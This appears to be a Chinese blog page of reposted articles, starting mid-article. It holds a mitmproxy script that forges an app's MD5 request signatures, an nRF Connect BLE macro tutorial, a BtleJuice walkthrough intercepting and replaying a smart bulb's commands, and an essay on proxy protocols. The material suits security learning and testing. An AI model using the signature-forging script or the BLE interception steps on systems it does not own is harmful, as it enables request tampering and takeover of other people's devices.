  • def clientconnect(flow: mitmproxy.tcp.TCPFlow) -> None: 当客户端连接到 mitmproxy 时调用此回调函数,可以获取和处理客户端连接的相关信息。
  • def serverconnect(flow: mitmproxy.tcp.TCPFlow) -> None: 当 mitmproxy 连接到服务器时调用此回调函数,可以获取和处理服务器连接的相关信息。
  • flow.request.method: 获取请求的方法(GET、POST等)。
  • flow.request.scheme: 获取请求的协议(http 或 https)。
  • flow.request.host: 获取请求的主机名。
  • flow.request.port: 获取请求的端口号。
  • flow.request.path: 获取请求的路径部分。
  • flow.request.url: 获取完整的请求URL。
  • flow.request.headers: 获取请求的头部信息,是一个字典对象,可以通过键来访问特定的头部字段。
  • flow.request.cookies: 获取请求中的Cookie信息,是一个字典对象,可以通过键来访问特定的Cookie。
  • flow.request.query: 获取请求的查询参数,是一个字典对象,可以通过键来访问特定的查询参数。
  • flow.request.content: 获取请求的内容,如果请求是POST请求且带有内容,则可以通过该属性来访问请求的内容。
  • flow.request.text: 获取请求的内容,并以文本形式返回。
  • flow.request.urlencoded_form: 获取请求的URL编码表单数据,是一个字典对象,可以通过键来访问特定的表单字段。
  • flow.request.multipart_form: 获取请求的多部分表单数据,是一个列表对象,列表中的每个元素都是一个字典,表示一个表单字段。
  • flow.request.content: 获取请求的原始内容,以字节形式返回。

附上本案例的代码供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from datetime import datetime
from mitmproxy import ctx
import hashlib
import random
import json
import time


class Modify:
def __init__(self):
self.plaintext = ''
self.new_sign = ''
current_datetime = datetime.now()
self.today = f"{current_datetime.year}5616{current_datetime.month:02d}{current_datetime.day:02d}"

def md5(self):
md5_hash = hashlib.md5()
md5_hash.update(self.plaintext.encode('utf-8'))
self.new_sign = md5_hash.hexdigest()

def request(self, flow):
if flow.request.method == "POST":
ctx.log.info(f'\n原POST请求体:{flow.request.text}')
data = json.loads(flow.request.get_text())
if data != '{}' and 'sign' in data:
del data['sign']
del data['time']
for k in data:
self.plaintext += f"{k}={str(data[k])}&"
timestamp = int(time.time() * 1000)
self.plaintext += f"{self.today}&time={timestamp}"
self.md5()

data["sign"] = self.new_sign
data["time"] = timestamp
flow.request.set_text(json.dumps(data).replace(' ', ''))
ctx.log.info(f'\n新POST请求体:{flow.request.text}')
self.plaintext = ''
else:
ctx.log.info('无参数,无需改签')
elif flow.request.method == "GET":
ctx.log.info(f'\n原GET请求体:{flow.request.query}')
query = flow.request.query
if query != '{}' and 'sign' in query:
del query['sign']
del query['time']
if query:
for k in query:
self.plaintext += f"{k}={str(query[k])}&"
else:
self.plaintext = "&"
timestamp = int(time.time()) * 1000
self.plaintext += f"{self.today}&time={timestamp}"
self.md5()

query["sign"] = self.new_sign
query["time"] = timestamp
ctx.log.info(f'\n新GET请求体:{flow.request.query}')
self.plaintext = ''
else:
ctx.log.info('无参数,无需改签')

@staticmethod
def response(flow):
if '签名校验失败!' in flow.response.text:
ctx.log.error(f'\n签名异常:\nurl => {flow.request.path}\n异常信息 => {flow.response.text}')


addons = [
Modify()
]

【nRF Connect】事件记录及录播和重演

【nRF Connect】事件记录及录播和重演

本文转自强人电子 并作补充

1. 前言

nRF Connect支持缓存事件记录以及录播和重演,接下来我们看看这到底是个怎样的功能。

2. 事件记录

在连接上设备后,向左滑动可以切换到事件记录页面,同时支持多种LOG格式,如下图中连接上后执行了一次读取电量的操作:

image

image

LOG记录支持复制、保存为文件、分享和清除:

image

3. 事件录播和重演

nRF Connect支持事件的录播和重演,实质上就是在上一节记录的基础上,从某个时间点开始截取然后保存,录播是根据刚刚保存的记录对蓝牙设备进行一模一样的指令及数据操作。

在已连接界面中,点击右下角的红色部分:

image

会弹出三个图标,分别表示:

  1. 新建文件夹(用于存放后续的录播文件)
  2. 导入录播文件(导入其他地方的录播文件,本机录播的会默认显示在文件列表里,不需要导入)
  3. 开始录播

image

3.1 事件录播

  1. 创建一个“da bai”文件夹

image

image

  1. 点击第三个图标开始录播

image

  1. 开始录播后,可以发起通信事件
    顺序为:开始录播 => 读取电量 => 读取厂商信息 => 读取硬件版本号 => 读取软件版本号 => 结束录播

可以看到LOG记录是这样的:

image

命名录播文件为”read info”以及将其移动到”da bai”文件夹下:

image

image

3.2 事件重演

录播文件保存下来后,可以对其进行重演,相当于执行一遍刚刚录播的操作:

image

重演录播后,我们再去看看事件记录,确实再一次操作了录播的内容,时间间隔竟然也是一样的:

image

3.3 事件录播文件操作

录播文件支持这些操作:

  1. Export to XML
  2. Rename
  3. Move
  4. Mirror

image

这里重点聊聊 Export to XML 和 Mirror。

3.3.1 Export to XML

支持将录播文件导出为XML文件可以分享给他人使用,导出之后是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<macro name="read info" icon="PLAY">
<assert-service description="Ensure Battery Service" uuid="0000180f-0000-1000-8000-00805f9b34fb">
<assert-characteristic description="Ensure Battery Level" uuid="00002a19-0000-1000-8000-00805f9b34fb">
<property name="READ" requirement="MANDATORY"/>
</assert-characteristic>
</assert-service>
<assert-service description="Ensure Device Information" uuid="0000180a-0000-1000-8000-00805f9b34fb">
<assert-characteristic description="Ensure Manufacturer Name String" uuid="00002a29-0000-1000-8000-00805f9b34fb">
<property name="READ" requirement="MANDATORY"/>
</assert-characteristic>
<assert-characteristic description="Ensure Hardware Revision String" uuid="00002a27-0000-1000-8000-00805f9b34fb">
<property name="READ" requirement="MANDATORY"/>
</assert-characteristic>
<assert-characteristic description="Ensure Software Revision String" uuid="00002a28-0000-1000-8000-00805f9b34fb">
<property name="READ" requirement="MANDATORY"/>
</assert-characteristic>
</assert-service>
<read description="Read value of Battery Level" characteristic-uuid="00002a19-0000-1000-8000-00805f9b34fb" service-uuid="0000180f-0000-1000-8000-00805f9b34fb">
<assert-value description="Assert value equals &apos;d&apos;" value-string="d"/>
</read>
<read description="Read value of Manufacturer Name String" characteristic-uuid="00002a29-0000-1000-8000-00805f9b34fb" service-uuid="0000180a-0000-1000-8000-00805f9b34fb">
<assert-value description="Assert value equals &apos;YFTech&apos;" value-string="YFTech"/>
</read>
<read description="Read value of Hardware Revision String" characteristic-uuid="00002a27-0000-1000-8000-00805f9b34fb" service-uuid="0000180a-0000-1000-8000-00805f9b34fb">
<assert-value description="Assert value equals &apos;UVWbejJZpqrsPtwuvxy&apos;" value-string="UVWbejJZpqrsPtwuvxy"/>
</read>
<read description="Read value of Software Revision String" characteristic-uuid="00002a28-0000-1000-8000-00805f9b34fb" service-uuid="0000180a-0000-1000-8000-00805f9b34fb">
<assert-value description="Assert value equals &apos;V 2.66.0329&apos;" value-string="V 2.66.0329"/>
</read>
</macro>

3.3.2 录播文件导入

导入之后自动重命名为read info 2。

image

3.3.3 Mirror

这里的镜像指的是角色镜像,比如录播文件里面你是中央设备,镜像之后你就变成了外围设备。这里必须注意当你是外围设备的时候,需要将GATT SERVICE配置成录播文件的一样的配置,具体配置方法可以参考GATT SERVICE配置,建议使用克隆方式。

4. 写在最后

在BLE开发中,同样的测试内容通常不止操作一次,此时我们可以用上本章的内容,事半功倍!

看完本文觉得有帮助点赞鼓励鼓励吧~如果有问题可以在评论区留言,大白会用光的速度回复您。想了解关于nRF Connect的更多用法及使用技巧,可以关注nRF Connect 专栏

技术分享 | 如何使用BtleJuice黑入BLE智能电灯泡

技术分享 | 如何使用BtleJuice黑入BLE智能电灯泡

本文转自seclst 并作补充

前言

在这篇文章中,我们将讨论如何使用BtleJuice通过执行中间人(MiTM)攻击来利用一个蓝牙低能耗(BLE)智能灯泡。本文中探讨的技术,也同样适用于其他基于BLE的智能设备。

image

概述

本文的主要内容包括:

1
2
3
4
5
6
7
安装BtleJuice;

分析在目标设备上运行的所有截获的GATT操作;

使用GATT操作执行Man-in-the-middle(中间人)攻击;

将数据导出到文件。

以下是一些必须满足的基本硬软件要求:

硬件

1
2
3
基于BLE的物联网智能灯泡

两个蓝牙适配器

软件

1
2
3
4
5
Node.js > 4.3.2

虚拟机(VMware/Virtual Box)

BtleJuice

安装 BtleJuice

BtleJuice是执行蓝牙智能设备的中间人攻击(也被称为蓝牙低能量)的完整框架。BtleJuice由两个组件组成 - 拦截代理和核心。这两个组件需要在两个系统上单独运行,每个系统都连接了蓝牙4.0+适配器。我们将使用一台物理机器和另一台运行在同一主机上的虚拟机(VM)。

注意:不是使用两台独立的物理机器。其中一个适配器将连接到主机,另一个适配器连接到VM。下面,我们按照以下步骤在主机和VM上来安装BtleJuice。

Step 1:Btlejuice需要一个相当新版本的node(>=4.3.2) 和npm。你可以按照本指南使用nvm(Node 版本管理器)来进行安装。

Step 2:使用包管理器安装BtleJuice的依赖项:

1
sudo apt-get install bluetooth bluez pbbluetooth-dev pbudev-dev

Step 3:安装 Btlejuice:

1
npm install -g btlejuice

设置BtleJuice代理(在VM中)

Step 1:将蓝牙适配器连接到VM并启动蓝牙:

1
service bluetooth start

image

Step 2:通过hciconfig命令查看适配器是否已按预期工作:

image

Step 3:在虚拟机中启动btlejuice-proxy:

image

Step 4:找到VM的IP地址,以便我们可以从主机连接到它。或在终端中运行ifconfig来获取IP:

image

设置BtleJuice核心(在主机上)

Step 1:在主机上打开终端并运行hciconfig:

image

Step 2:运行sudo service bluetooth stop停止蓝牙服务:

image

Step 3:在主机上插入蓝牙适配器:

image

Step 4:通过hciconfig命令查看连接到主机的蓝牙适配器是否已按预期工作:

image

Step 5:通过运行sudo hciconfig hciX up打开蓝牙适配器,其中的X是上一步中获得的蓝牙适配器号:

image

Step 6:现在我们需要运行BtleJuice核心并连接虚拟机:

1
sudo btlejuice -u <VM IP address> -w

其中u是运行btlejuice-proxy的VM的IP地址,w表示启动Web界面:

image

与此同时,在VM中运行的btlejuice-proxy将会显示客户端连接的消息:

image

Step 7:一旦主机上运行的BtleJuice核心成功连接到bltjejuice-proxy,我们打开浏览器并导航至http://localhost:8080/:

image

Step 8:单击蓝牙图标的 “Select Target”按钮。此时将会出现一个对话框,并显示核心检测到的所有可用蓝牙设备:

image

Step 9:双击目标设备并等待接口准备就绪(蓝牙按钮方面将改变):

image

Step 10:将关联的移动应用程序与刚创建的dummy设备连接:

image

Step 11:如果连接成功,则主界面上将显示已连接的事件:

image

通过重放GATT操作执行中间人攻击

BtleJuice充当移动应用程序和BLE智能灯泡之间的代理,发送到灯泡的任何命令都将被BtleJuice捕获并被转发给灯泡。

让我们使用移动应用程序与灯泡进行交互,并尝试破译命令的结构方式。

Step 1:使用Android应用程序将灯泡颜色更改为蓝色,蓝色的RGB值为:2, 0, 255:

image

BtleJuice捕获相应的数据包:

image

现在将灯泡颜色更改为红色,RGB值为: 255, 8, 0:

image

BtleJuice捕获与命令相对应的数据包,以将颜色更改为红色:

image

检查数据包,我们可以注意到一个模式。应用程序中显示的颜色的RGB值与捕获中的第二个,第三个和第四个字节匹配。

因此,如果我们更改这些字节然后重放数据包,应该能够获得不同的颜色。

Step 2:从捕获的数据包列表中,右键单击颜色更改命令,然后单击replay:

image

Step 3:将数据值中的颜色字节从8c 86 ff更改为任何其他值,例如8c 45 ff,这是一种带有紫色调的颜色:

image

image

Step 4:单击“ Write”按钮。 我们会注意到灯泡颜色变为了紫色:

image

导出捕获的数据

BtleJuice可以将捕获的数据导出到文件中,以便以后使用或在其他工具中进行分析。

单击export按钮并下载捕获数据的JSON(或文本)版本:

image

至此,我们已经演示了BtleJuice作为独立工具的使用。

此外,BtleJuice还提供了NodeJS和Python bindings,我们可以在我们自己的BLE攻击工具中使用它。有关更多信息,请参阅此处

关于科学上网的流行说法

关于科学上网的流行说法

本文转自Clouder 并作补充

前言

本文意在分析一些经常被提及、引起争论的问题。

为什么不用 V2RAY/Trojan

由于直连打击力度较大,个人自建需要使用更不易被封锁的协议。很多人宣传 V2RAY Trojan 等,事实上对直连也许是有一定帮助的。

但是大部分机场都是中转线路,使用 V2RAY 显得太重,消耗服务器资源大,而实质上并没有什么帮助,因此更青睐老牌的、生态更好的 Shadowsocks 及 ShadowsocksR。

Trojan 也是类似的。

因此发表一些“不用 V2RAY 不怕被封吗”之类的言论,并不明智。

以下是部分大佬对此的看法。(如有冒犯,请联系删除)

image

image

image

image

(本句在当时语境下类似于玩笑话,其本人无任何贬低 Trojan 的意思。)

不可否认,新的协议的出现是必然且有意义的,但其出现一般都是为了解决现有问题。

例如 V2RAY 试图解决的是严重封锁,而 Trojan 试图解决的是 V2RAY 过重的问题。

而机场线路,公网隧道、专线,大概没有此类需求。

此外,Shadowsocks 与 ShadowsocksR 的生态相对成熟。

关于 Shadowsocks 与 ShadowsocksR 有如下说法:

  1. Shadowsocks 每个用户需要占用一个端口,部署可能不便。而 ShadowsocksR 支持端口复用模式。
  2. ShadowsocksR 停止维护,且加密程度相对 Shadowsocks 更高,意味着效率、性能相对较劣,但有传 ShadowsocksR 能缓解 QOS 问题。

目前看来,Shadowsocks 协议支持最为广泛。

以上内容为笔者个人见解,如有谬误,敬请斧正。

IPLC 天下第一吗?

首先,看看毒药博客中的介绍。

  • IPLC: “International Private Leased Circuit”的缩写,即“国际专线”。不过大部分机场通常看到的 iplc,都只是阿里的经典网络,跨数据中心内网互通,阿里内网,并不是严格意义的 iplc 专线;当然也有其他渠道的,或真 iplc,不过比较少。阿里云的内网互通底层原理是通过采购多个点对点的 iplc 专线,来连接各个数据中心,从而把各个数据中心纳入到自己的一套内网里面来。这样做有两个好处,其一是 iplc 链路上的带宽独享,完全不受公网波动影响,其二是过境的时候不需要经过 GFW,确保了数据安全且不受外界各种因素干扰。但是需要注意一下阿里云的 iplc 也是有带宽上限的,如果过多的人同时挤到同一条专线上,峰值带宽超过专线的上限的话也同样会造成网络不稳定。其他渠道购买到的 iplc 价格很高,阿里云内网这种性价比超高这种好东西且用且珍惜。
  • IEPL 国际以太网专线(International Ethernet Private Line,简称 IEPL),构建于 MSTP 设备平台上,基于 SDH 传输技术,采用 GFP 封装,传输协议透明,物理层隔离,带宽保证,提供一层点对点数据专线服务。IEPL 是以太网接口的增强型的 IPLC 产品,是一个端到端的专享管理频宽服务,拥有高度灵活性及最高物理层网络安全功能,让客户轻松管理广域网和高带宽需求的应用。通俗的总结一下,IEPL 使用某种技术,实现了两点之间的高稳定性的数据传输。这与 IPLC,MPLS 是差不多的效果,只是实现的技术手段有区别而已。其实对机场来说,是 IPLC 或者 IEPL 或是 MPLS-VPN,都没有太大区别。认定是保障带宽的不过墙专线就行了,至于是用哪种技术方案实现的,根本不需要纠结。
  • BGP:BGP 的实际意思通常是一个 IP 在多个运营商的网络中均为直连,不经过第三运营商,利用 iptables 或相关软件通过将去海外 VPS 的流量加一层国内转发。不过不同机场的定义也不一样。正常来说比如 rixcloud,指的是他们入口是阿里云、部分落地节点是自己起了 BGP(去 Peer 了 GitHub、微软、Cloudflare 等等)。不过多数机场把 BGP 定义为阿里云公网中转等。
  • 中转:将数据从一个服务器重定向到另外一个服务器。机场中比较常见的是阿里云公网中转,其实也有很多其他中转,也有自己去买其他的 BGP 来中转的。
  • 「原生 IP」:所谓原生 IP 通常意思为当地运营商原本就拥有的 IP;广播国家一般和注册国家相同(一般的 IP 库不会误判地区),一般不用于公有云计算服务或 IP 声誉好,一般能够用来解锁 Netflix、HBO、Hulu 以及其它有限制的流媒体服务
  • 流媒体解锁:很多流媒体服务平台如 Netflix 会出于版权原因而限制一些特定 IP 的访问。一般来说网络运营商(如 HKT)自己持有的 IP,比如商宽、家宽,极少被屏蔽,因为这些 IP 大多是流媒体服务商的目标客户在使用。家宽 IP 被屏蔽的几率是最低的,很多 ISP 的家宽都是动态 IP 的,很难精准封杀。固定 IP 的商宽其次。这些流媒体服务商也怕误杀导致投诉,比如 GCP 的 IP 段被投诉之后又可以看 Netflix 了。IDC 商家所持有的 IP 一般会被屏蔽,越大越有名的 IDC 持有的 IP 被屏蔽的几率越高。很多 IDC 会租用运营商的 IP 从而绕过此类封杀,但是这种方式并不是万无一失的,翻车案例比较多我就不再一一例举了。所以除非是商宽、家宽,其他所谓的“原生 IP 解锁流媒体”都是有几率翻车的。
  • CN2:是电信的精品骨干网。首先 CN2 是一张运营商骨干网,就像电信 163、中国移动这一类是同样性质的东西,但相对电信 163 来说会有更好的稳定性。不是什么专线(和 iplc 那类东西区分清楚)。既然是公网,那它本质上就是个很多人共享使用的东西。共享的东西都存在一定程度的不稳定性。区别在于它的超售比较低,相对电信 163 来说会有更好的质量。CN2 的跨国数据通讯也需要经过 GFW 审查,不存在不过 GFW 的公网。

在谈及 IPLC 时,一般泛指专线。专线相对于公网中转有如下优点:

  1. 不经过 GFW,也就是所谓的不过墙。
  2. 链路宽带独享,不受公网波动影响。

一个中转节点应该是这样的:

image

IPLC 速度快

一般来说,用户更关心的速度是“网速”,也就是宽带大小。

而使用专线并不能改变宽带的容量,因此盲目地认为 IPLC 网速快是毫无根据的。

IPLC 延迟低

专线传输,理论上延迟的确更低。 排除掉机场过度超售、宽带跑满丢包、软件出锅等问题,专线在此方面的确有优势。 虽然一般用户无需过多在意延迟。

IPLC 稳定

专线传输的稳定,主要体现在链路宽带独享,不容易受公网波动影响。 但上游依然会出问题,例如机房事故等等。 而高质量的公网可靠性并不差。

IPLC 安全

不经过 GFW 的处理,在某种意义上安全了。 但专线传输数据仍受到监管,如 ssrcloud 的中日专线有人访问邪教网站遭到警告。

注重隐私请使用 no-log VPN、多层跳板等方式,而不要轻信提供科学上网服务的机场还能保护你的安全。 一般人无需对此过于敏感。

IPLC 贵

专线宽带的价格的确高昂。

下图为花卷科技的 IPLC 专线宽带价格。

image

即使有钻石分销的六折,每 Mbps 也高达 210RMB,每 100 Mbps 价格要达到两三万元。

然而,其实还有更高贵的。如下图,北京动态 BGP 全穿透多线宽带。

image

上图为微网聚力官网的价格表,可以看到最高贵的宽带每 100 Mbps 高达五万元每月。

事实上,单比较价格意义不大,因为可以这样部署:

image

总结

以上内容亦非绝对,笔者目的不在于否定专线等等,而在于提醒各位读者更理性、全面地看待线路,而不要迷信专线等。

100Mbps 的专线给 100 人用,体验可能并不如 1Gbps 的公网隧道给 100 人用。

其实,用户对节点线路无需过多关注,而只需要关注用户体验。用起来好就行,不必在意机场主用了什么神秘的操作。

最后,来点佩奇笑话。

image

image

订阅转换偷订阅

不可否认,在技术上的确是可行的。 然而,让我们看看搭建订阅转换服务的都是什么大佬吧。

bianyuan

边缘订阅转换 API,笔者使用的第一个订阅转换 API。

Sabrina,博客地址为 https://merlinblog.xyz/,N3RO 机场的大佬。

撰写了大量教程,对社区的贡献毋容置疑。对于转换偷订阅的说法,其本人亦有过回应:

image

nameless13

https://api.nameless13.com/,也是相当知名的订阅转换 API 了。

Nameless13,魅影的管理员,撰写了魅影各类教程

gfwsb.114514.best

https://gfwsb.114514.best/,这域名震撼我一万年……

TindyX,subconverter项目的作者。

总结

以上只是订阅转换的一部分。笔者想借此说明的是,搭建这种公益服务者通常为大佬,并不会眼馋你的订阅。 当然并不排除有作恶者存在。 实在担心,建议使用本地版的 subconverter,避免此问题。

Surfboard 快

笔者无端猜测,有小白看了某知名 youtuber 的各大软件速度对比后,认为 Surfboard 更快。

笔者未进行相关测试,但必须指出: 软件并不是网速的主要影响因素,且无明显缺陷的软件,在速度上并不会有太大差异。

网速的主导因素,是线路质量。包括但不限于设备到路由器、家庭宽带到国内入口、国内入口到国内出口、国内出口到国际落地、国际落地到目标服务器的线路质量。

Surfboard 是一个相当优秀的客户端,但请不要以“网速最快”等说法夸赞推荐它,否则可能引发不必要的争端。

关于网速的一些思考

使用 youtube 进行网速测试,会受到硬件性能等因素影响,测速应使用更专业的工具。

据传,旧版本的 Clash For Android 使用的内核有一定的性能问题,已经更换。(来源不详,不必当真)

理想的中高端机场,应当能达到 100Mbps 及以上的速率,选用软件对网速的影响不必多虑。

关于软件速度的一些思考

一般来说,功能越复杂,速度就越慢。在路由器上跑规则复杂的 Clash,可能对网速有较大影响。

使用 PC 客户端,基本不用考虑。移动设备可能有一定影响,但并不大,无需太在意。

此处速度为泛指,结论纯粹笔者臆想,不足为据。

总结

撰写本文的目的,并不是想否定、批评广为流行的某些说法,而是想否定盲目地迷信某些说法的行为。 例如,对机场不提供 V2RAY 提出质疑的小白,吹捧 IPLC 强无敌的小白,认为 Surfboard 天下第一的小白等等……

本文也无意提出什么说法,而仅仅想说明:没有什么是绝对的。请理性评判,不要迷信权威。

That’s All.

引用

  1. ShadowsocksR 端口复用 原文 ↩︎
  2. ShadowsocksR 缓解 QOS 问题 原文 ↩︎
  3. 花卷科技钻石分销 原文 ↩︎
  4. 微网聚力价格表 原文 ↩︎
  5. 几乎所有订阅转换都基于 subconverter↩︎
  6. CFA Release ↩︎